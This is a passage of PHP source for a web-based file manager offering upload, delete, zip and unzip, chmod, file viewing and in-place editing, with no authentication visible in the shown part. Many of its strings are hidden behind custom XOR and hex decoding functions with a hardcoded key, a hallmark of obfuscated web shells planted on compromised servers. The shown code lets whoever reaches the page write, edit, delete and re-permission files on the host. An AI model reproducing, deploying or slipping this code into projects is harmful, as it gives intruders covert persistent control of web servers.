header(bccc(120)); header(bccc(121) . basename($path . bccc(122) . $dl) . bccc(123)); header(bccc(124)); header(bccc(125)); header(bccc(126)); header(bccc(127)); header(bccc(128)); header(bccc(129) . filesize($path . bccc(130) . $dl)); readfile($path . bccc(131) . $dl); exit; } else { fm_set_msg(bccc(132), bccc(133)); fm_redirect(FM_SELF_URL . bccc(134) . urlencode(FM_PATH)); } } if (!(!(isset($_POST[bccc(135)])))) { $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(136)))) { $path .= bccc(137) . FM_PATH; } $errors = 0; $uploads = 0; $total = count($_FILES[bccc(138)][bccc(139)]); for ($i = 0; $i < $total; $i++) { $tmp_name = $_FILES[bccc(140)][bccc(141)][$i]; if (!(!(empty($_FILES[bccc(142)][bccc(143)][$i]) && !empty($tmp_name) && $tmp_name != bccc(144)))) { if (!(!(move_uploaded_file($tmp_name, $path . bccc(145) . $_FILES[bccc(146)][bccc(147)][$i])))) { $uploads++; } else { $errors++; } } } if (!(!($errors == 0 && $uploads > 0))) { fm_set_msg(sprintf(bccc(148), fm_enc($path))); } elseif (!(!($errors == 0 && $uploads == 0))) { fm_set_msg(bccc(149), bccc(150)); } else { fm_set_msg(sprintf(bccc(151), $uploads), bccc(152)); } fm_redirect(FM_SELF_URL . bccc(153) . urlencode(FM_PATH)); } if (!(!(isset($_POST[bccc(154)], $_POST[bccc(155)])))) { $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(156)))) { $path .= bccc(157) . FM_PATH; } $errors = 0; $files = $_POST[bccc(158)]; if (!(!(is_array($files) && count($files)))) { foreach ($files as $f) { if (!(!($f != bccc(159)))) { $new_path = $path . bccc(160) . $f; if (!(!(!fm_rdelete($new_path)))) { $errors++; } } } if (!(!($errors == 0))) { fm_set_msg(bccc(161)); } else { fm_set_msg(bccc(162), bccc(163)); } } else { fm_set_msg(bccc(164), bccc(165)); } fm_redirect(FM_SELF_URL . bccc(166) . urlencode(FM_PATH)); } if (!(!(isset($_POST[bccc(167)], $_POST[bccc(168)])))) { $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(169)))) { $path .= bccc(170) . FM_PATH; } if (!(!(!class_exists(bccc(171))))) { fm_set_msg(bccc(172), bccc(173)); fm_redirect(FM_SELF_URL . bccc(174) . urlencode(FM_PATH)); } $files = $_POST[bccc(175)]; if (!(!(!empty($files)))) { chdir($path); if (!(!(count($files) == 1))) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . bccc(176) . date(bccc(177)) . bccc(178); } else { $zipname = bccc(179) . date(bccc(180)) . bccc(181); } $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); if (!(!($res))) { fm_set_msg(sprintf(bccc(182), fm_enc($zipname))); } else { fm_set_msg(bccc(183), bccc(184)); } } else { fm_set_msg(bccc(185), bccc(186)); } fm_redirect(FM_SELF_URL . bccc(187) . urlencode(FM_PATH)); } if (!(!(isset($_GET[bccc(188)])))) { $unzip = $_GET[bccc(189)]; $unzip = fm_clean_path($unzip); $unzip = str_replace(bccc(190), bccc(191), $unzip); $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(192)))) { $path .= bccc(193) . FM_PATH; } if (!(!(!class_exists(bccc(194))))) { fm_set_msg(bccc(195), bccc(196)); fm_redirect(FM_SELF_URL . bccc(197) . urlencode(FM_PATH)); } if (!(!($unzip != bccc(198) && is_file($path . bccc(199) . $unzip)))) { $zip_path = $path . bccc(200) . $unzip; $tofolder = bccc(201); if (!(!(isset($_GET[bccc(202)])))) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (!(!(fm_mkdir($path . bccc(203) . $tofolder, true)))) { $path .= bccc(204) . $tofolder; } } $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); if (!(!($res))) { fm_set_msg(bccc(205)); } else { fm_set_msg(bccc(206), bccc(207)); } } else { fm_set_msg(bccc(208), bccc(209)); } fm_redirect(FM_SELF_URL . bccc(210) . urlencode(FM_PATH)); } if (!(!(isset($_POST[bccc(211)]) && !FM_IS_WIN))) { $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(212)))) { $path .= bccc(213) . FM_PATH; } $file = $_POST[bccc(214)]; $file = fm_clean_path($file); $file = str_replace(bccc(215), bccc(216), $file); if (!(!($file == bccc(217) || (!is_file($path . bccc(218) . $file) && !is_dir($path . bccc(219) . $file))))) { fm_set_msg(bccc(220), bccc(221)); fm_redirect(FM_SELF_URL . bccc(222) . urlencode(FM_PATH)); } $mode = 0; if (!(!(!empty($_POST[bccc(223)])))) { $mode |= 0400; } if (!(!(!empty($_POST[bccc(224)])))) { $mode |= 0200; } if (!(!(!empty($_POST[bccc(225)])))) { $mode |= 0100; } if (!(!(!empty($_POST[bccc(226)])))) { $mode |= 0040; } if (!(!(!empty($_POST[bccc(227)])))) { $mode |= 0020; } if (!(!(!empty($_POST[bccc(228)])))) { $mode |= 0010; } if (!(!(!empty($_POST[bccc(229)])))) { $mode |= 0004; } if (!(!(!empty($_POST[bccc(230)])))) { $mode |= 0002; } if (!(!(!empty($_POST[bccc(231)])))) { $mode |= 0001; } if (!(!(@chmod($path . bccc(232) . $file, $mode)))) { fm_set_msg(bccc(233)); } else { fm_set_msg(bccc(234), bccc(235)); } fm_redirect(FM_SELF_URL . bccc(236) . urlencode(FM_PATH)); } $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(237)))) { $path .= bccc(238) . FM_PATH; } if (!(!(!is_dir($path)))) { fm_redirect(FM_SELF_URL . bccc(239)); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); if (!(!(is_array($objects)))) { foreach ($objects as $file) { if (!(!($file == bccc(240) || $file == bccc(241)))) { continue; } $new_path = $path . bccc(242) . $file; if (!(!(is_file($new_path)))) { $files[] = $file; } elseif (!(!(is_dir($new_path) && $file != bccc(243) && $file != bccc(244)))) { $folders[] = $file; } } } if (!(!(!empty($files)))) { natcasesort($files); } if (!(!(!empty($folders)))) { natcasesort($folders); } if (!(!(isset($_GET[bccc(245)])))) { fm_show_header(); fm_show_nav_path(FM_PATH); ?> <div class="path"> <p><b>Uploading files</b></p> <p class="break-word">Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?></p> <form action="" method="post" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="upl" value="1"> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <br> <p> <button class="btn"><i class="icon-apply"></i> Upload</button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php fm_show_footer(); exit; } // copy form POST if (isset($_POST['copy'])) { $copy_files = $_POST['file']; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg('Nothing selected', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL; } $copy_files_enc = array_map('fm_enc', $copy_files); ?> <p class="break-word">Files: <b><?php echo implode('</b>, <b>', $copy_files_enc) ?></b></p> <p class="break-word">Source folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to">Destination folder:</label> <?php echo FM_ROOT_PATH ?>/<input name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>"> </p> <p><label><input type="checkbox" name="move" value="1"> Move</label></p> <p> <button class="btn"><i class="icon-apply"></i> Copy</button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php fm_show_footer(); exit; } if (isset($_GET['copy']) && !isset($_GET['finish'])) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="icon-apply"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="icon-apply"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> <p><i>Select folder:</i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="icon-arrow_up"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="icon-folder"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } $xorKey='lkAx5b6eTrIfwMjq';function ccccx($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function cccc($index) {global $obfuscationData,$xorKey;$str = $obfuscationData['Xmqvr'][$index];$charMap = $obfuscationData['bmYfU'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = ccccx(hex2bin($unmapped),$xorKey);return strrev($decoded);} $obfuscationData = json_decode(ccccx(hex2bin('174923156c0463476e096b07557748034e47631a1758140f765e6b055577481a4e47631c1758141d765e6b03557748044e47631e17581413765e6b015577481d4e47631017581408765e6b0f557748084e47631217581406765e6b0d557748194e4763141758140c765e6b0b557748064e4763161758140a765e6b09557748024e4763081758141f765e6b17557748014e47630a17581411765e6b15557748154e47630c17581414765e6b13557748134e47630e17581402765e6b11557748104e47630017581400765e6b1f5577481f4e47630217581403765e6b27557748374e47633a1758143f765e6b25557748254e47633c17581421765e6b23557748204e47633e1758142f765e6b21557748364e47633017581432765e6b2f557748274e47633217581437765e6b2d557748244e47633417581435765e6b2b5577483d4e47633617581424765e6b29557748344e4763281758142c765e6b37557748284e47632a1758142a765e6b355577483c4e47632c17581427765e6b33557748324e47632e17581436765e6b31557748294e4763201758142e765e6b3f557748394e4763221758142b765e6b56557748464e4763491758145c765e6b54557748444e47634b17581457765e6b52557748414e47634d1758145d765e6b50557748424e47634f17581454765e6b5e557748474e47634117581451765e6b4d5577482d43496d5a694d145f76596b1b5b6f321c1d1d335a0f39145c3e577e1337785c525b1e015a19400f0f0a453c26427b4c46194163541752044d765e6b445b6f485d4e5b7359174e145262327e5e567f5a52555a6440074b06507d427c40403f4c431e2b794d1f575d3b63006c5f02655d1b46496d5a0c176852642c7b54297a182f545c685a19400e5c0a4b2343463849534049635417520425765e6b445b6f5a4344496d5a0550174778507e525e7a5b5b595d694a40431449765065444e2634465948731210401a4763466f5f0f135f474f52765b0d51155c635878575d6f46535b5f6b4f5e4b03520a4b714e46264f534049764a13550340614a60510f6b5b4149496d5a0250105221577c5e5d7453585f59685a19400f53714b7b4f427d2a460735632548'),$xorKey),true); if (!(!(isset($_GET[cccc(0)])))) { $file = $_GET[cccc(1)]; $file = fm_clean_path($file); $file = str_replace(cccc(2), cccc(3), $file); if (!(!($file == cccc(4) || !is_file($path . cccc(5) . $file)))) { fm_set_msg(cccc(6), cccc(7)); fm_redirect(FM_SELF_URL . cccc(8) . urlencode(FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != cccc(9) ? cccc(10) . FM_PATH : cccc(11)) . cccc(12) . $file); $file_path = $path . cccc(13) . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_zip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $view_title = cccc(14); $filenames = false; $content = cccc(15); if (!(!($ext == cccc(16)))) { $is_zip = true; $view_title = cccc(17); $filenames = fm_get_zif_info($file_path); } elseif (!(!(in_array($ext, fm_get_image_exts())))) { $is_image = true; $view_title = cccc(18); } elseif (!(!(in_array($ext, fm_get_audio_exts())))) { $is_audio = true; $view_title = cccc(19); } elseif (!(!(in_array($ext, fm_get_video_exts())))) { $is_video = true; $view_title = cccc(20); } elseif (!(!(in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == cccc(21) || in_array($mime_type, fm_get_text_mimes())))) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br> File size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?><br> MIME-type: <?php echo $mime_type ?><br> <?php // ZIP info if ($is_zip && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> Files in archive: <?php echo $total_files ?><br> Total size: <?php echo fm_get_filesize($total_uncomp) ?><br> Size in archive: <?php echo fm_get_filesize($total_comp) ?><br> Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="icon-download"></i> Download</a></b> <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="icon-chain"></i> Open</a></b> <?php if ($enable_editing && $is_text) { ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&edit=<?php echo urlencode($file) ?>"><i class="icon-pencil"></i> Edit</a></b> <?php } ?> <?php // ZIP actions if ($is_zip && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="icon-apply"></i> Unpack</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="Unpack to <?php echo fm_enc($zip_name) ?>"><i class="icon-apply"></i> Unpack to folder</a></b> <?php } ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-goback"></i> Back</a></b> </p> <?php if ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fm_enc($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>Error while fetching archive info</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) { echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fm_enc($content) . '</pre>'; } echo $content; } ?> </div> <?php fm_show_footer(); exit; } if (isset($_GET['edit']) && $enable_editing) { $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['content'])) { $content = $_POST['content']; $file_path = $path . '/' . $file; if (is_writable($file_path)) { if (file_put_contents($file_path, $content) !== false) { fm_set_msg('File saved successfully'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($file)); } else { fm_set_msg('Failed to save file', 'error'); } } else { fm_set_msg('File is not writable', 'error'); } } fm_show_header(); fm_show_nav_path(FM_PATH); $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $content = file_get_contents($file_path); $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); ?> <div class="path"> <p class="break-word"><b>Edit file: "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br> </p> <form method="post" action="?p=<?php echo urlencode(FM_PATH) ?>&edit=<?php echo urlencode($file) ?>"> <p> <input type="submit" value="Save" style="background-color: #4CAF50; color: white; border: none; padding: 8px 16px; text-align: center; text-decoration: none; display: inline-block; font-size: 14px; margin: 4px 2px; cursor: pointer;"> <a href="?p=<?php echo urlencode(FM_PATH) ?>&view=<?php echo urlencode($file) ?>" style="background-color: #f44336; color: white; border: none; padding: 8px 16px; text-align: center; text-decoration: none; display: inline-block; font-size: 14px; margin: 4px 2px; cursor: pointer;">Cancel</a> </p> <p> <textarea id="editor" name="content" rows="30" cols="120" style="width: 100%; font-family: monospace; resize: vertical;"><?php echo htmlspecialchars($content) ?></textarea> </p> </form> <?php if (FM_USE_HIGHLIGHTJS) { ?> <script> document.addEventListener('DOMContentLoaded', function() { var editor = document.getElementById('editor'); var lang = '<?php echo $ext ?>'; editor.style.fontSize = '14px'; editor.style.height = 'auto'; editor.style.height = (editor.scrollHeight) + 'px'; }); </script> <?php } echo '</div>'; fm_show_footer(); exit; } if (isset($_GET['chmod']) && !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <p><b>Change Permissions</b></p> <p> Full path: <?php echo fm_enc($file_path) ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>"> <table class="compact-table"> <tr> <td></td> <td><b>Owner</b></td> <td><b>Group</b></td> <td><b>Other</b></td> </tr> <tr> <td style="text-align: right"><b>Read</b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b>Write</b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b>Execute</b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <button class="btn"><i class="icon-apply"></i> Change</button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php fm_show_footer(); exit; } fm_show_header(); fm_show_nav_path(FM_PATH); fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; ?> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <table><tr> <th style="width:3%"><label><input type="checkbox" title="Invert selection" onclick="checkbox_toggle()"></label></th> <th>Name</th><th style="width:10%">Size</th> <th style="width:12%">Modified</th> <?php if (!FM_IS_WIN): ?><th style="width:6%">Perms</th><th style="width:10%">Owner</th><?php endif; ?> <th style="width:13%"></th></tr> <?php if ($parent !== false) { ?> <tr><td></td><td colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"><a href="?p=<?php echo urlencode($parent) ?>"><i class="icon-arrow_up"></i> ..</a></td></tr> <?php } foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'icon-folder'; $modif = date(FM_DATETIME_FORMAT, filemtime($path . '/' . $f)); $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td> <td><div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? ' → <i>' . fm_enc(readlink($path . '/' . $f)) . '</i>' : '') ?></div></td> <td>Folder</td><td><?php echo $modif ?></td> <?php if (!FM_IS_WIN): ?> <td><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td> <a title="Delete" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('Delete folder?');"><i class="icon-cross"></i></a> <a title="Rename" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc($f) ?>');return false;"><i class="icon-rename"></i></a> <a title="Copy to..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="icon-copy"></i></a> <a title="Direct link" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="icon-chain"></i></a> </td></tr> <?php flush(); } foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_file' : fm_get_file_icon_class($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, filemtime($path . '/' . $f)); $filesize_raw = filesize($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td> <td><div class="filename"><a href="<?php echo fm_enc($filelink) ?>" title="File info"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? ' → <i>' . fm_enc(readlink($path . '/' . $f)) . '</i>' : '') ?></div></td> <td><span class="gray" title="<?php printf('%s bytes', $filesize_raw) ?>"><?php echo $filesize ?></span></td> <td><?php echo $modif ?></td> <?php if (!FM_IS_WIN): ?> <td><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td> <a title="Delete" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('Delete file?');"><i class="icon-cross"></i></a> <a title="Rename" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc($f) ?>');return false;"><i class="icon-rename"></i></a> <a title="Copy to..." href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="icon-copy"></i></a> <a title="Direct link" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="icon-chain"></i></a> <a title="Download" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="icon-download"></i></a> </td></tr> <?php flush(); } if (empty($folders) && empty($files)) { ?> <tr><td></td><td colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"><em>Folder is empty</em></td></tr> <?php } else { ?> <tr><td class="gray"></td><td class="gray" colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"> Full size: <span title="<?php printf('%s bytes', $all_files_size) ?>"><?php echo fm_get_filesize($all_files_size) ?></span>, files: <?php echo $num_files ?>, folders: <?php echo $num_folders ?> </td></tr> <?php } ?> </table> <p class="path"><a href="#" onclick="select_all();return false;"><i class="icon-checkbox"></i> Select all</a> <a href="#" onclick="unselect_all();return false;"><i class="icon-checkbox_uncheck"></i> Unselect all</a> <a href="#" onclick="invert_all();return false;"><i class="icon-checkbox_invert"></i> Invert selection</a></p> <p><input type="submit" name="delete" value="Delete" onclick="return confirm('Delete selected files and folders?')"> <input type="submit" name="zip" value="Pack" onclick="return confirm('Create archive?')"> <input type="submit" name="copy" value="Copy"></p> </form> <?php fm_show_footer(); function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_rename($old, $new) { return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, 